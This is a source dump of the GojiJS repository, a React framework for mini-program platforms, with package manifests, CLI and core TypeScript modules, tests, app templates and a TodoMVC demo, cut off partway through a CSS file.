{"type": "directory", "name": "fixture", "children": [{"type": "file", "name": "pageA.json"}, {"type": "file", "name": "pageB.config.js"}]}, {"type": "file", "name": "minimize.test.ts"}, {"type": "file", "name": "path.test.ts"}, {"type": "file", "name": "render.test.ts"}, {"type": "file", "name": "transformExtension.test.ts"}]}]}]}, {"type": "file", "name": "tsconfig.json"}]}]}, {"type": "file", "name": "README.md"}, {"type": "file", "name": "yarn.lock"}]} | # Goji Macro
![npm (scoped)](https://img.shields.io/npm/v/@goji/macro)
For more detailed, see [Goji official docs](https://goji.js.org).
| {"package.json": "{\n \"name\": \"goji\",\n \"description\": \"Project GojiJS\",\n \"private\": true,\n \"workspaces\": [\n \"packages/*\",\n \"packages/goji.js.org/*\"\n ],\n \"scripts\": {\n \"postinstall\": \"yarn create-config && lerna run prepublishOnly\",\n \"lint\": \"eslint --color --ext .js,.ts,.jsx,.tsx .\",\n \"prettier\": \"prettier --list-different \\\"**/*.@(js|jsx|ts|tsx|json|md|yml|yaml|css)\\\"\",\n \"prettier:fix\": \"prettier --write \\\"**/*.@(js|jsx|ts|tsx|json|md|yml|yaml|css)\\\"\",\n \"create-config\": \"yarn beemo create-config\",\n \"build\": \"lerna run build\",\n \"test\": \"jest\"\n },\n \"repository\": {\n \"type\": \"git\",\n \"url\": \"git+https://github.com/airbnb/goji.git\"\n },\n \"keywords\": [],\n \"author\": \"\",\n \"license\": \"MIT\",\n \"bugs\": {\n \"url\": \"https://github.com/airbnb/goji/issues\"\n },\n \"homepage\": \"https://github.com/airbnb/goji#readme\"\n}\n", ".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", ".git\\logs\\refs\\heads\\main": "0000000000000000000000000000000000000000 83775b834d194ff385ea749afba1534b3fb83a1c Hamza Amin <[email protected]> 1728664458 +0500\tclone: from https://github.com/airbnb/goji-js.git\n", ".git\\refs\\heads\\main": "83775b834d194ff385ea749afba1534b3fb83a1c\n", "packages\\beemo-dev\\package.json": "{\n \"name\": \"@goji/beemo-dev\",\n \"version\": \"1.3.0\",\n \"description\": \"Beemo Config for GojiJS Development\",\n \"main\": \"src/index.ts\",\n \"repository\": \"https://github.com/airbnb/goji-js.git\",\n \"license\": \"MIT\",\n \"private\": true,\n \"dependencies\": {\n \"@babel/core\": \"^7.15.0\",\n \"@babel/plugin-transform-runtime\": \"^7.15.0\",\n \"@babel/preset-env\": \"^7.15.0\",\n \"@babel/preset-react\": \"^7.14.5\",\n \"@babel/preset-typescript\": \"^7.15.0\",\n \"@beemo/cli\": \"^2.0.1\",\n \"@beemo/core\": \"^2.0.1\",\n \"@beemo/driver-babel\": \"^2.0.0\",\n \"@beemo/driver-eslint\": \"^2.0.0\",\n \"@beemo/driver-jest\": \"^2.0.0\",\n \"@beemo/driver-lerna\": \"^2.0.0\",\n \"@beemo/driver-prettier\": \"^2.0.0\",\n \"@typescript-eslint/eslint-plugin\": \"^5.7.0\",\n \"@typescript-eslint/parser\": \"^5.7.0\",\n \"babel-jest\": \"^27.0.6\",\n \"eslint\": \"^8.4.1\",\n \"eslint-config-airbnb\": \"^19.0.2\",\n \"eslint-config-prettier\": \"^8.3.0\",\n \"eslint-plugin-import\": \"^2.23.4\",\n \"eslint-plugin-jest\": \"^25.3.0\",\n \"eslint-plugin-jsx-a11y\": \"^6.3.1\",\n \"eslint-plugin-react\": \"^7.26.1\",\n \"eslint-plugin-react-hooks\": \"^4.1.2\",\n \"jest\": \"^27.0.6\",\n \"lerna\": \"^4.0.0\",\n \"linaria\": \"^2.3.0\",\n \"prettier\": \"^2.3.2\"\n }\n}\n", "packages\\cli\\package.json": "{\n \"name\": \"@goji/cli\",\n \"version\": \"1.3.0\",\n \"description\": \"GojiJS CLI\",\n \"main\": \"dist/cjs/index.js\",\n \"bin\": {\n \"goji\": \"./bin/goji.js\"\n },\n \"scripts\": {\n \"prebuild\": \"npm run clean\",\n \"clean\": \"rimraf dist\",\n \"start\": \"tsc -watch\",\n \"build\": \"npm run build:esm && npm run build:cjs\",\n \"build:esm\": \"tsc --module esnext --outDir dist/esm\",\n \"build:cjs\": \"tsc --module commonjs --outDir dist/cjs\",\n \"prepublishOnly\": \"npm run build\"\n },\n \"repository\": \"git+https://github.com/airbnb/goji.git\",\n \"license\": \"MIT\",\n \"dependencies\": {\n \"@babel/core\": \"^7.16.5\",\n \"@babel/plugin-transform-runtime\": \"^7.16.5\",\n \"@babel/preset-env\": \"^7.16.5\",\n \"@babel/preset-react\": \"^7.16.5\",\n \"@babel/preset-typescript\": \"^7.16.5\",\n \"@goji/webpack-plugin\": \"^1.3.0\",\n \"babel-loader\": \"^8.2.1\",\n \"babel-plugin-macros\": \"^3.1.0\",\n \"css-loader\": \"^6.5.1\",\n \"cssnano\": \"^5.0.11\",\n \"find-cache-dir\": \"^3.3.1\",\n \"lodash\": \"^4.17.15\",\n \"mini-css-extract-plugin\": \"^2.4.5\",\n \"mkdirp\": \"^1.0.4\",\n \"node-libs-browser\": \"^2.2.1\",\n \"postcss\": \"^8.4.31\",\n \"postcss-calc\": \"^8.0.0\",\n \"postcss-each\": \"^1.1.0\",\n \"postcss-import\": \"^14.0.2\",\n \"postcss-loader\": \"^6.2.0\",\n \"postcss-nested\": \"^5.0.6\",\n \"postcss-preset-env\": \"^7.0.2\",\n \"postcss-reporter\": \"^7.0.4\",\n \"postcss-value-parser\": \"^4.2.0\",\n \"resolve\": \"^1.19.0\",\n \"terser-webpack-plugin\": \"^5.3.0\",\n \"thread-loader\": \"^3.0.4\",\n \"tslib\": \"^2.3.0\",\n \"webpack\": \"^5.89.0\",\n \"yargs\": \"^17.1.0\"\n },\n \"devDependencies\": {\n \"@goji/core\": \"^1.3.0\",\n \"@types/yargs\": \"^17.0.2\"\n },\n \"peerDependencies\": {\n \"@goji/core\": \"*\"\n }\n}\n", "packages\\cli\\src\\index.ts": "import webpack from 'webpack';\nimport resolve from 'resolve';\nimport path from 'path';\nimport { GojiWebpackPluginOptions } from '@goji/webpack-plugin';\nimport { getWebpackConfig } from './config/webpack.config';\nimport { parseArgv, CliConfig } from './argv';\nimport './utils/fixSerializationWarning';\nimport { TransformUnit } from './config/postcssConfig';\n\ninterface GojiConfig {\n watch?: boolean;\n outputPath?: string;\n configureWebpack?: (config: webpack.Configuration, webpackInGoji: typeof webpack) => undefined;\n configureBabel?: (config: any) => any;\n progress?: boolean;\n nohoist?: GojiWebpackPluginOptions['nohoist'];\n css?: {\n unit?: TransformUnit;\n };\n parallel?:\n | {\n minimize?: number;\n loader?: number;\n }\n | number;\n}\n\nconst GOJI_CONFIG_FILE_NAME = 'goji.config';\nconst requireGojiConfig = (basedir: string): [string | undefined, GojiConfig] => {\n let resolvedPath: string;\n try {\n resolvedPath = resolve.sync(path.join(basedir, GOJI_CONFIG_FILE_NAME));\n } catch (error) {\n console.info(`\\`goji.config.js\\` not found in folder ${basedir}, using default config.`);\n return [undefined, {}];\n }\n\n // eslint-disable-next-line global-require, import/no-dynamic-require\n return [resolvedPath, require(resolvedPath)];\n};\n\nconst main = async () => {\n const basedir = process.cwd();\n let cliConfig: CliConfig;\n try {\n cliConfig = await parseArgv(process.argv.slice(2));\n } catch (error: any) {\n console.error((error as Error).message);\n return;\n }\n\n // re-patch NODE_ENVs for config files\n process.env.NODE_ENV = cliConfig.production ? 'production' : 'development';\n process.env.GOJI_TARGET = cliConfig.target;\n\n const [gojiConfigFile, gojiConfig] = requireGojiConfig(basedir);\n // eslint-disable-next-line global-require\n const babelConfig = require('./config/babel.config');\n if (gojiConfig.configureBabel) {\n gojiConfig.configureBabel(babelConfig);\n }\n // watch mode\n const watch = cliConfig.watch ?? gojiConfig.watch ?? !cliConfig.production;\n const webpackConfig = getWebpackConfig({\n basedir,\n gojiConfigFile,\n outputPath: gojiConfig.outputPath,\n target: cliConfig.target,\n nodeEnv: cliConfig.production ? 'production' : 'development',\n babelConfig,\n watch,\n progress: gojiConfig.progress ?? cliConfig.progress ?? true,\n nohoist: gojiConfig?.nohoist,\n cssUnit: gojiConfig?.css?.unit ?? 'to-rpx',\n parallel:\n typeof gojiConfig.parallel === 'number'\n ? { loader: gojiConfig.parallel, minimize: gojiConfig.parallel }\n : gojiConfig.parallel,\n });\n\n // apply goji.config.js configureWebpack\n if (gojiConfig.configureWebpack) {\n gojiConfig.configureWebpack(webpackConfig, webpack);\n }\n\n // create compiler\n const compilerCallback = (err?: Error, stats?: webpack.Stats) => {\n // docs: https://webpack.js.org/api/cli/#exit-codes-and-their-meanings\n // inspired from: https://github.com/webpack/webpack-cli/blob/64deca258e993501c8f2053a8063b6189028caf9/packages/webpack-cli/lib/webpack-cli.js#L2244-L2251\n if (err) {\n console.error(err);\n process.exit(2);\n }\n if (stats?.hasErrors()) {\n process.exitCode = 1;\n }\n const outputOptions = webpackConfig.stats;\n const printedStats = stats!.toString(outputOptions);\n console.log(printedStats);\n };\n if (watch) {\n console.log('Start GojiJS in development mode.');\n } else {\n console.log('Start GojiJS in production mode.');\n }\n webpack(webpackConfig, compilerCallback);\n};\n\nmain().catch(e => console.error(e));\n", "packages\\core\\package.json": "{\n \"name\": \"@goji/core\",\n \"version\": \"1.3.0\",\n \"description\": \"GojiJS Core\",\n \"main\": \"dist/cjs/index.js\",\n \"module\": \"dist/esm/index.js\",\n \"private\": false,\n \"scripts\": {\n \"prebuild\": \"npm run clean\",\n \"clean\": \"rimraf dist\",\n \"start\": \"tsc -watch\",\n \"build\": \"npm run build:esm && npm run build:cjs\",\n \"build:esm\": \"tsc --module esnext --outDir dist/esm\",\n \"build:cjs\": \"tsc --module commonjs --outDir dist/cjs\",\n \"prepublishOnly\": \"npm run build\"\n },\n \"repository\": {\n \"type\": \"git\",\n \"url\": \"git+https://github.com/airbnb/goji.git\"\n },\n \"keywords\": [],\n \"author\": \"\",\n \"license\": \"MIT\",\n \"bugs\": {\n \"url\": \"https://github.com/airbnb/goji/issues\"\n },\n \"homepage\": \"https://github.com/airbnb/goji#readme\",\n \"devDependencies\": {\n \"@testing-library/react-hooks\": \"^7.0.2\",\n \"@types/jest\": \"^27.0.3\",\n \"@types/lodash\": \"^4.14.172\",\n \"@types/react\": \"^17.0.31\",\n \"@types/react-is\": \"^17.0.3\",\n \"@types/react-reconciler\": \"^0.26.4\",\n \"@types/weixin-app\": \"^2.9.1\",\n \"react\": \"^17.0.2\",\n \"react-test-renderer\": \"^17.0.2\",\n \"rimraf\": \"^3.0.2\",\n \"typescript\": \"^4.3.5\",\n \"utility-types\": \"^3.10.0\"\n },\n \"dependencies\": {\n \"lodash\": \"^4.17.15\",\n \"react-is\": \"^17.0.2\",\n \"react-reconciler\": \"^0.26.2\",\n \"tslib\": \"^2.3.0\",\n \"utility-types\": \"^3.10.0\"\n },\n \"peerDependencies\": {\n \"react\": \">=17.0.0\"\n },\n \"publishConfig\": {\n \"access\": \"public\"\n },\n \"gitHead\": \"6b5e09e727c913f4f62dcba87df0ee2332e65099\"\n}\n", "packages\\core\\src\\index.ts": "import { ReactNode } from 'react';\nimport './patchGlobalObject';\nimport { createAdaptor, AdaptorType, ExportComponentMeta } from './adaptor';\nimport { GojiTarget } from './constants';\nimport { batchedUpdates } from './reconciler';\n\ninterface RenderOptions {\n type: AdaptorType;\n disablePageSharing: boolean;\n exportMeta: ExportComponentMeta;\n}\n\nconst DEFAULT_RENDER_OPTIONS: RenderOptions = {\n type: 'page',\n disablePageSharing: false,\n exportMeta: {},\n};\n\nexport const render = (element: ReactNode, options: Partial<RenderOptions> = {}) => {\n const { type, exportMeta, disablePageSharing }: RenderOptions = {\n ...DEFAULT_RENDER_OPTIONS,\n ...options,\n };\n const adaptor = createAdaptor(\n type,\n process.env.GOJI_TARGET as GojiTarget,\n exportMeta,\n disablePageSharing,\n );\n return adaptor.run(element);\n};\n\nexport * from './components/factoryComponents';\nexport { Subtree } from './components/subtree';\nexport { createPortal } from './portal';\nexport * from './lifecycles';\nexport * from './portal';\nexport {\n // eslint-disable-next-line camelcase\n SIMPLIFY_COMPONENTS as unstable_SIMPLIFY_COMPONENTS,\n // eslint-disable-next-line camelcase\n SimplifyComponent as unstable_SimplifyComponent,\n GojiTarget,\n // eslint-disable-next-line camelcase\n getTemplateIds as unstable_getTemplateIds,\n} from './constants';\nexport { gojiEvents } from './events';\nexport { Partial } from './partial';\n// eslint-disable-next-line camelcase\nexport { batchedUpdates as unstable_batchedUpdates };\nexport { PublicInstance as GojiPublicInstance } from './reconciler/publicInstance';\nexport { setGojiBlockingMode } from './container';\n", "packages\\core\\src\\adaptor\\index.ts": "import { WeChatAdaptor } from './wechat';\nimport { Adaptor, AdaptorType, ExportComponentMeta } from './common';\nimport { GojiTarget } from '../constants';\n\nexport * from './common';\n\nexport const createAdaptor = (\n type: AdaptorType,\n target: GojiTarget,\n exportMeta: ExportComponentMeta,\n disablePageSharing: boolean,\n): Adaptor => {\n switch (target) {\n case 'wechat':\n return new WeChatAdaptor(type, exportMeta, disablePageSharing);\n default:\n // FIXME: support other platforms\n return new WeChatAdaptor(type, exportMeta, disablePageSharing);\n }\n};\n", "packages\\core\\src\\adaptor\\__tests__\\index.test.ts": "import { createAdaptor } from '..';\nimport { WeChatAdaptor } from '../wechat';\n\ndescribe('createAdaptor', () => {\n test('return wechat adaptor', () => {\n expect(createAdaptor('page', 'wechat', {}, false)).toBeInstanceOf(WeChatAdaptor);\n });\n\n test.todo('return alipay adaptor');\n});\n", "packages\\core\\src\\components\\index.tsx": "import React, { PropsWithChildren } from 'react';\nimport { UniversalHooksProvider } from '../lifecycles/universal/provider';\nimport { PortalProvider } from '../portal';\nimport { Container } from '../container';\nimport { ContainerProvider } from './container';\nimport { PartialProvider } from '../partial';\n\nexport const GojiProvider = ({\n children,\n container,\n}: PropsWithChildren<{\n container: Container;\n}>) => (\n <ContainerProvider container={container}>\n <UniversalHooksProvider>\n <PortalProvider>\n <PartialProvider>{children}</PartialProvider>\n </PortalProvider>\n </UniversalHooksProvider>\n </ContainerProvider>\n);\n", "packages\\core\\src\\lifecycles\\index.ts": "export * from './native';\nexport * from './universal';\n", "packages\\core\\src\\lifecycles\\native\\index.ts": "/* eslint-disable camelcase */\nexport {\n useOnReady as unsafe_useOnReady,\n useOnUnload as unsafe_useOnUnload,\n useOnPullDownRefresh as unsafe_useOnPullDownRefresh,\n useOnReachBottom as unsafe_useOnReachBottom,\n useOnPageScroll as unsafe_useOnPageScroll,\n useOnShareAppMessage as unsafe_useOnShareAppMessage,\n useOnResize as unsafe_useOnResize,\n useOnTabItemTap as unsafe_useOnTabItemTap,\n useOnTitleClick as unsafe_useOnTitleClick,\n useOnOptionMenuClick as unsafe_useOnOptionMenuClick,\n useOnPopMenuClick as unsafe_useOnPopMenuClick,\n useOnPullIntercept as unsafe_useOnPullIntercept,\n} from './hooks';\n/* eslint-enable camelcase */\n", "packages\\core\\src\\lifecycles\\universal\\index.ts": "export * from './hooks';\nexport { useRenderedEffect } from './renderedEffect';\n", "packages\\core\\src\\partial\\index.tsx": "import React, { createContext, useRef, useContext, Suspense, useEffect, ReactElement } from 'react';\nimport { useRenderedEffect } from '../lifecycles';\n\n// PartialContext maintains a promise chain to control the render order\nconst createPartialContextValue = () => {\n let chain: Promise<any> = Promise.resolve();\n\n // register will create a promise and link it to the promise chain,\n // then return its predecessor and the resolver of the new created promise.\n const register = () => {\n let resolver;\n const currentPromise = chain;\n const nextPromise = new Promise<undefined>(resolve => {\n resolver = () => resolve(undefined);\n });\n\n chain = chain.then(() => nextPromise);\n\n return [currentPromise, resolver];\n };\n\n return {\n register,\n };\n};\n\nconst PartialContext = createContext(createPartialContextValue());\n\nexport const PartialProvider = ({ children }) => (\n <PartialContext.Provider value={createPartialContextValue()}>\n {children}\n </PartialContext.Provider>\n );\n\n// Let's imagine there are only two Partial Components on the page,\n// the first component will throw the very first promise in the chain which is already resolved,\n// meanwhile the second component will throw the second promise which is chained after the first promise,\n// since the first promise is resolved, first component will start rendering children,\n// when its children are rendered (useRenderedEffect), first component will call the resolver of the second promise,\n// then the second compnent will start rendering children.\nconst DelayComp = ({ children, promise, resolver }) => {\n if (promise.current !== null && resolver.current) {\n throw promise.current;\n }\n\n useRenderedEffect(() => {\n if (resolver.current) {\n resolver.current();\n resolver.current = null;\n }\n }, [promise.current]); // eslint-disable-line react-hooks/exhaustive-deps\n\n return children;\n};\n\nexport const Partial = ({\n children,\n fallback,\n}: React.PropsWithChildren<{ fallback?: ReactElement }>) => {\n const pending = useRef(true);\n const { register } = useContext(PartialContext);\n const resolverRef = useRef(null);\n const promiseRef = useRef(null);\n\n if (pending.current) {\n const [promise, resolver] = register();\n resolverRef.current = resolver;\n promiseRef.current = promise;\n }\n\n useEffect(() => {\n pending.current = false;\n promiseRef.current = null;\n }, []);\n\n return (\n <Suspense fallback={fallback || null}>\n <DelayComp promise={promiseRef} resolver={resolverRef}>\n {children}\n </DelayComp>\n </Suspense>\n );\n};\n", "packages\\core\\src\\portal\\index.tsx": "import React, { ReactNode, useContext } from 'react';\nimport { PortalContext } from './context';\n\n// use an internal component to support call hooks in the condition\n// for example `{condition && createPortal()}`\nconst Portal = ({ children }: React.PropsWithChildren<{}>) => {\n const portalContext = useContext(PortalContext);\n if (!portalContext) {\n throw new Error('Cannot found `portalContext`. This might be an internal error in GojiJS.');\n }\n // since `key` is added on `<Portal>` there is no need to add it again on portal instance\n return portalContext.createPortal(children);\n};\n\nexport const createPortal = (element: ReactNode, key?: null | string | number) => (\n <Portal key={key ?? String(key)}>{element}</Portal>\n);\n\nexport { PortalContext } from './context';\nexport { PortalProvider } from './provider';\n", "packages\\core\\src\\portal\\__tests__\\index.test.tsx": "import React, { useState } from 'react';\nimport { createPortal } from '..';\nimport { View } from '../..';\nimport { render } from '../../__tests__/helpers';\nimport { act } from '../../__tests__/testUtils/act';\nimport { ElementNodeDevelopment } from '../../reconciler/instance';\n\ndescribe('createPortal', () => {\n test('works', () => {\n const Content = () => createPortal(<View>Content</View>);\n const App = () => (\n <View>\n <View>title</View>\n <Content />\n </View>\n );\n const wrapper = render(<App />);\n expect((wrapper.getContainer() as { meta: ElementNodeDevelopment }).meta.children.length).toBe(\n 2,\n );\n });\n\n test('works in condition', () => {\n let showPortal: Function;\n const App = () => {\n const [show, setShow] = useState(false);\n showPortal = () => setShow(true);\n\n return (\n <View>\n <View>title</View>\n {show && createPortal(<View>Content</View>)}\n </View>\n );\n };\n const wrapper = render(<App />);\n expect((wrapper.getContainer() as { meta: ElementNodeDevelopment }).meta.children.length).toBe(\n 1,\n );\n\n const spy = jest.spyOn(global.console, 'error');\n act(() => {\n showPortal();\n });\n expect((wrapper.getContainer() as { meta: ElementNodeDevelopment }).meta.children.length).toBe(\n 2,\n );\n expect(spy).not.toHaveBeenCalled();\n spy.mockRestore();\n });\n});\n", "packages\\core\\src\\reconciler\\index.ts": "import ReactReconciler from 'react-reconciler';\nimport { setBatchedUpdates } from '../utils/eventChannel';\nimport { hostConfig } from './hostConfig';\n\n// FIXME: remove `as any` after fixing `hostConfigTypes.ts`\nexport const reconciler = ReactReconciler(hostConfig as any);\n\nconst batchedUpdates = reconciler.batchedUpdates as unknown as <R>(fn: () => R) => R;\n\nsetBatchedUpdates(batchedUpdates);\n\nexport { batchedUpdates };\n", "packages\\core\\src\\__tests__\\helpers\\index.ts": "import { ReactElement } from 'react';\nimport { TestingAdaptor, TestingAdaptorInstance } from './adaptor';\n\nexport class RenderResult {\n public constructor(private adaptorInstance: TestingAdaptorInstance) {}\n\n public getContainer = () => this.adaptorInstance.data;\n\n // ByText\n\n public getByText = () => {\n // TODO:\n };\n\n public queryByText = () => {\n // TODO:\n };\n\n public findByText = () => {\n // TODO:\n };\n\n public resolveUpdateCallback = (renderId?: string) =>\n this.adaptorInstance.resolveUpdateCallback(renderId);\n\n public setManuallyResolvedUpdateCallback = (enabled: boolean) => {\n this.adaptorInstance.setManuallyResolvedUpdateCallback(enabled);\n };\n}\n\nexport const render = (rootElement: ReactElement | null) => {\n const testingAdaptor = new TestingAdaptor();\n const testingAdaptorInstance = testingAdaptor.run(rootElement);\n return new RenderResult(testingAdaptorInstance);\n};\n", "packages\\create-goji-app\\package.json": "{\n \"name\": \"create-goji-app\",\n \"version\": \"1.3.0\",\n \"description\": \"Create GojiJS App\",\n \"main\": \"index.js\",\n \"repository\": \"https://github.com/airbnb/goji-js\",\n \"license\": \"MIT\",\n \"bin\": {\n \"create-goji-app\": \"./bin/create-goji-app.js\"\n },\n \"scripts\": {\n \"prebuild\": \"npm run clean\",\n \"clean\": \"rimraf dist\",\n \"start\": \"tsc -watch\",\n \"build\": \"npm run build:esm && npm run build:cjs\",\n \"build:esm\": \"tsc --module esnext --outDir dist/esm\",\n \"build:cjs\": \"tsc --module commonjs --outDir dist/cjs\",\n \"prepublishOnly\": \"npm run build\"\n },\n \"dependencies\": {\n \"chalk\": \"^4.1.2\",\n \"ejs\": \"^3.1.10\",\n \"globby\": \"^11.0.1\",\n \"mkdirp\": \"^1.0.4\",\n \"tslib\": \"^2.3.0\"\n },\n \"devDependencies\": {\n \"@types/rimraf\": \"^3.0.2\",\n \"rimraf\": \"^3.0.2\"\n }\n}\n", "packages\\create-goji-app\\bin\\create-goji-app.js": "#!/usr/bin/env node\n\n// eslint-disable-next-line import/no-unresolved\nrequire('../dist/cjs/index');\n", "packages\\create-goji-app\\src\\index.ts": "import chalk from 'chalk';\nimport path from 'path';\nimport { execSync } from 'child_process';\nimport { generateProject } from './generator';\n\nconst PROGRAM_NAME = 'create-goji-app';\n\nconst shouldUseYarn = () => {\n try {\n execSync('yarnpkg --version', { stdio: 'ignore' });\n return true;\n } catch (e) {\n return false;\n }\n};\n\nconst TARGETS = ['wechat', 'baidu', 'alipay', 'toutiao', 'qq', 'toutiao'];\n\nconst main = async () => {\n const argv = process.argv.slice(2);\n if (!argv.length) {\n console.error('Please specify the project directory:');\n console.log(` ${chalk.cyan(PROGRAM_NAME)} ${chalk.green('<project-directory>')}`);\n console.log();\n console.log('For example:');\n console.log(` ${chalk.cyan(PROGRAM_NAME)} ${chalk.green('my-goji-app')}`);\n process.exit(1);\n }\n const [projectName] = argv;\n const destPath = path.join(process.cwd(), projectName);\n await generateProject(projectName, path.join(__dirname, '../../templates'), destPath);\n\n const installCommand = shouldUseYarn() ? 'yarn' : 'npm install';\n const runCommand = shouldUseYarn() ? 'yarn' : 'npm run';\n\n console.log(`Success! Created ${projectName} at ${destPath}`);\n console.log('Inside that directory, you can run several commands:');\n console.log();\n console.log(chalk.cyan(` ${runCommand} start [target]`));\n console.log(' Start Goji in development mode');\n console.log();\n console.log(chalk.cyan(` ${runCommand} build [target]`));\n console.log(' Start Goji in production mode');\n console.log();\n console.log(\n `The ${chalk.cyan('[target]')} could be one of ${TARGETS.map(target => chalk.cyan(target)).join(\n ' / ',\n )}`,\n );\n console.log();\n console.log('We suggest that you begin by typing: ');\n console.log();\n console.log(chalk.cyan(` cd ${projectName}`));\n console.log(chalk.cyan(` ${installCommand}`));\n};\n\nmain().catch(console.error);\n", "packages\\create-goji-app\\src\\__tests__\\index.test.ts": "import { promisify } from 'util';\nimport { exec } from 'child_process';\nimport rimraf from 'rimraf';\nimport fs from 'fs';\nimport path from 'path';\nimport os from 'os';\n\ndescribe('create-goji-app', () => {\n jest.setTimeout(5 * 60 * 1000);\n\n // FIXME: re-enable after this version released\n it.skip('create project', async () => {\n // prepare\n const binPath = require.resolve('../../bin/create-goji-app');\n const workDir = path.join(os.tmpdir(), '.create-goji-app');\n // FIXME: use `fs.promises.rm` after upgrading to Node.js 14\n // await fs.promises.rm(workDir, { recursive: true, force: true });\n await promisify(rimraf)(workDir);\n await fs.promises.mkdir(workDir, { recursive: true });\n const projectName = 'my-goji-app';\n const projectDir = path.join(workDir, projectName);\n\n // create project\n await promisify(exec)(`node ${binPath} ${projectName}`, { cwd: workDir });\n expect(await fs.promises.stat(path.join(projectDir, 'package.json'))).toBeTruthy();\n /* eslint-disable global-require, import/no-dynamic-require */\n expect(require(path.join(projectDir, 'package.json')).dependencies['@goji/core']).toBe(\n `^${require('../../package.json').version}`,\n );\n /* eslint-enable global-require, import/no-dynamic-require */\n\n // run `yarn install`\n await promisify(exec)('yarn', { cwd: projectDir });\n\n // run `yarn build`\n await promisify(exec)('yarn build', { cwd: projectDir });\n });\n});\n", "packages\\create-goji-app\\templates\\package.json": "{\n \"name\": \"<%= projectName %>\",\n \"description\": \"A GojiJS App\",\n \"version\": \"0.1.0\",\n \"main\": \"index.js\",\n \"private\": true,\n \"license\": \"MIT\",\n \"scripts\": {\n \"jest\": \"jest --passWithNoTests\",\n \"typecheck\": \"tsc\",\n \"start\": \"goji start\",\n \"build\": \"goji build\"\n },\n \"dependencies\": {\n \"@goji/core\": \"^<%= version %>\",\n \"classnames\": \"^2.2.6\",\n \"core-js\": \"^3.6.5\",\n \"react\": \"^17.0.2\"\n },\n \"devDependencies\": {\n \"@goji/cli\": \"^<%= version %>\",\n \"@types/classnames\": \"^2.2.10\",\n \"@types/css-modules\": \"^1.0.0\",\n \"@types/react\": \"^16.9.35\",\n \"@types/weixin-app\": \"^2.9.3\",\n \"linaria\": \"^2.3.0\",\n \"typescript\": \"^4.0.3\"\n }\n}\n", "packages\\create-goji-app\\templates\\src\\app.config.ts": "import { GojiTarget } from '@goji/core';\n\nexport default ({ target }: { target: GojiTarget }) => ({\n pages: ['pages/index/index'],\n window: {\n backgroundTextStyle: 'dark',\n navigationBarBackgroundColor: '#ffffff',\n backgroundColor: '#ffffff',\n navigationBarTitleText: `A GojiJS App on ${target}`,\n navigationBarTextStyle: 'black',\n },\n });\n", "packages\\create-goji-app\\templates\\src\\app.css": ":global(.red) {\n color: red;\n}\n", "packages\\create-goji-app\\templates\\src\\app.ts": "import 'core-js/stable';\nimport './app.css';\n\nApp({\n onLaunch(options) {\n console.log('app onLaunch', options);\n },\n});\n", "packages\\create-goji-app\\templates\\src\\pages\\index\\index.css": ".goji {\n color: red;\n}\n", "packages\\create-goji-app\\templates\\src\\pages\\index\\index.tsx": "import React from 'react';\nimport { render, View } from '@goji/core';\nimport styles from './index.css';\n\nconst Page = () => <View className={styles.goji}>Hello, world!</View>;\n\nrender(<Page />);\n", "packages\\demo-todomvc\\package.json": "{\n \"name\": \"demo-todomvc\",\n \"version\": \"1.3.0\",\n \"description\": \"GojiJS TodoMVC Example\",\n \"main\": \"index.js\",\n \"repository\": \"git+https://github.com/airbnb/goji.git\",\n \"license\": \"MIT\",\n \"private\": true,\n \"scripts\": {\n \"jest\": \"jest --passWithNoTests\",\n \"typecheck\": \"tsc\",\n \"start\": \"goji start\",\n \"build\": \"goji build\"\n },\n \"dependencies\": {\n \"@goji/core\": \"^1.3.0\",\n \"@goji/macro\": \"^1.3.0\",\n \"classnames\": \"^2.2.6\",\n \"core-js\": \"^3.16.0\",\n \"linaria\": \"^2.3.0\",\n \"react\": \"^17.0.2\",\n \"react-redux\": \"^7.2.5\",\n \"redux\": \"^4.1.1\",\n \"tslib\": \"^2.3.0\"\n },\n \"devDependencies\": {\n \"@goji/beemo-dev\": \"^1.3.0\",\n \"@goji/cli\": \"^1.3.0\",\n \"@goji/testing-library\": \"^1.3.0\",\n \"@types/classnames\": \"^2.2.10\",\n \"@types/css-modules\": \"^1.0.0\",\n \"@types/react\": \"^17.0.31\",\n \"identity-obj-proxy\": \"^3.0.0\",\n \"react-dom\": \"^17.0.2\",\n \"typescript\": \"^4.3.5\"\n }\n}\n", "packages\\demo-todomvc\\.linaria-cache\\packages\\demo-todomvc\\src\\pages\\index\\index.linaria.css": ".h1xpvx4y{color:red;}\n", "packages\\demo-todomvc\\src\\app.config.ts": "import { GojiTarget } from '@goji/core';\n\nexport default ({ target }: { target: GojiTarget }) => {\n const enableSwanSitemap = target === 'baidu';\n\n return {\n pages: ['pages/index/index'],\n subPackages: [\n enableSwanSitemap && {\n name: 'swan-sitemap',\n root: 'swan-sitemap',\n pages: ['index'],\n },\n ].filter(Boolean),\n window: {\n backgroundTextStyle: 'dark',\n navigationBarBackgroundColor: '#ffffff',\n backgroundColor: '#ffffff',\n navigationBarTitleText: `TodoMVC Example ${target}`,\n navigationBarTextStyle: 'black',\n },\n ...(enableSwanSitemap && {\n dynamicLib: {\n 'swan-sitemap-lib': {\n provider: 'swan-sitemap',\n },\n },\n }),\n };\n};\n", "packages\\demo-todomvc\\src\\app.css": "view {\n box-sizing: border-box;\n}\n", "packages\\demo-todomvc\\src\\app.ts": "import 'core-js/stable';\nimport './app.css';\n\nApp({\n onLaunch(options) {\n console.log('app onLaunch', options);\n },\n});\n", "packages\\demo-todomvc\\src\\components\\MainSection.css": ".main {\n z-index: 2;\n border-top: 1px solid #e6e6e6;\n font-size: 26rpx;\n}\n\n.caret::before {\n content: '\u276f';\n font-size: 22px;\n color: #e6e6e6;\n padding: 10px 27px 10px 27px;\n}\n\n.todosHeader {\n padding: 